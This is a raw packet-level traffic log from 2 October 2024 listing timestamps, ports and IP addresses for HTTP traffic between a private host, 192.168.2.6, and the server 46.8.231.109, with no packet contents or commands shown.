Oct 2, 2024 17:17:23.269459009 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269464016 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269474983 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269479036 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269489050 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269499063 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269509077 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269510031 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269520998 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269532919 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269534111 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269551992 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269551992 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269567013 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269591093 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269593000 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269603014 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269757032 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269768000 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269783974 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269793034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269795895 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269798040 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269800901 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269802094 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269814014 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269825935 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269829988 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269835949 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269845963 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269848108 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269865036 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269877911 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269877911 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269901991 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269925117 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.269949913 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269984961 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.269995928 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270005941 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270018101 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270026922 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270059109 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270209074 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270220995 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270231962 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270251036 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270268917 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270325899 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270337105 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270349026 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270359993 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270370007 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270396948 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270402908 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270414114 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270431995 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270445108 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270606995 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270618916 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270629883 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270641088 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270641088 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270652056 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270663023 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270664930 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270675898 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270684958 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270685911 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.270700932 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.270728111 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280179977 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280205965 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280217886 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280236006 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280246973 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280257940 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280261993 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280267954 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280280113 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280292988 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280304909 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280318975 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280343056 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280348063 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280359983 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280370951 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280378103 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280381918 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280395031 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280404091 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280407906 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280441999 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280487061 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280498028 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280508041 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280518055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280529022 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280539036 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280539989 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280550003 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280559063 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280577898 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280601025 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280715942 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280734062 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280745029 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280746937 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280755997 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280766964 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.280770063 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.280796051 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.285851002 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.285860062 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.285866976 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.285912991 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.285947084 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355060101 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355146885 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355199099 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355211020 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355223894 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355240107 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355242968 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355246067 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355252028 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355258942 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355262995 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355273008 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355285883 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355295897 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355297089 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355307102 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355318069 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355319977 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355329990 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355349064 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355353117 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355362892 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355370998 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355372906 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355393887 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355405092 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355407000 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355411053 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355417967 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355427980 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355437994 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355441093 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355448961 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355468988 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355489969 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355489969 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355499983 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355510950 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355521917 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355529070 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355552912 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355576992 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355695009 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355705976 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355715990 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355726004 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355736017 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355746031 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355755091 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355757952 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355766058 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355777025 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355789900 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355798960 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355801105 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355811119 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355815887 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355822086 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355834961 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.355839014 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355864048 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.355889082 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356365919 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356376886 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356386900 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356396914 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356406927 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356417894 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356422901 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356429100 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356440067 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356448889 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356460094 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356467962 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356482983 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356491089 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356497049 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356498003 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356506109 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356508017 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356509924 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356512070 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356518984 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356523037 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356528044 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356537104 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356538057 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356545925 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356553078 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356560946 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356565952 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356568098 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356570005 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356578112 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356578112 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356585026 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356591940 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356594086 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356601000 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356609106 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356609106 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356617928 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356623888 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356631041 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.356632948 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356656075 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.356677055 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.357817888 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357831001 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357841015 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357851982 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357862949 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357871056 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.357872963 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357883930 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357893944 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357904911 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357914925 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357914925 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.357925892 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357930899 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.357942104 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357953072 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357959032 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.357963085 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357973099 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357976913 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.357983112 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.357986927 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.357995033 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358005047 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358015060 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358017921 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.358026028 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358036041 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358046055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358052015 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.358056068 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358066082 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358069897 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.358076096 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358087063 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358093977 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.358095884 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358107090 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358114958 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.358117104 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.358127117 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.358158112 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.422588110 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422596931 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422614098 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422625065 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422636032 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422646999 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422666073 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.422708035 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422719002 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422724009 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.422730923 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422736883 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.422772884 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.422780991 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422791958 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422801971 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422812939 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422823906 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422835112 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.422841072 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.422857046 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.422873974 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423023939 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423034906 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423044920 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423062086 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423072100 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423091888 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423098087 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423109055 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423120022 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423137903 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423149109 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423155069 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423161030 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423177958 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423197985 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423238993 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423249960 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423259974 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423269987 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423280001 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423280954 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423310041 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423321009 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423728943 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423739910 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423751116 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423808098 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423816919 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423816919 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423820019 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423840046 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423850060 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423854113 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423866034 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423881054 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423908949 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.423935890 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423947096 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.423978090 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424006939 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424012899 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424024105 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424035072 CEST	80	65279	46.8.231.109	192.168.2.6
Oct 2, 2024 17:17:23.424041986 CEST	65279	80	192.168.2.6	46.8.231.109
Oct 2, 2024 17:17:23.424045086 CEST	80	65279	46.8.231.109	192.168.2.6
